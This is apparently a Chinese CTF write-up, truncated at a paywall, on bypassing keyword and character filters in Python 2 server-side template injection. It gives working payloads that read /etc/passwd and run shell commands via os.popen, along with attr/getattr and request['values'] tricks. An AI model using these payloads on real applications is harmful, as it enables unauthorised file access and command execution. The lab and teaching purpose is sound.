web11-考核(模板注入绕过)
输入name=1发现存在回显,猜测为模板注入,经过测试发现过滤了 . _ 和一些关键字
py2模板注入常见payload
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()' )
过滤了.可以用getattr或者attr绕过
例如 ''.__class__可以写成 getattr('',"__class__")或者 ''|attr("__class__")
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
因为还过滤了 args所以我们用request['values']和attr结合绕过
例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__
最终payload?name={
{ ()|attr(

本文深入探讨了模板注入攻击,一种常见的Web应用安全漏洞。通过分析实际案例,详细讲解了如何利用模板注入读取敏感文件,如/etc/passwd,并介绍了如何绕过过滤机制,使用getattr、attr等方法执行命令。此外,文章还提供了利用base64编码绕过限制获取flag的技巧。
最低0.47元/天 解锁文章
2万+

被折叠的 条评论
为什么被折叠?



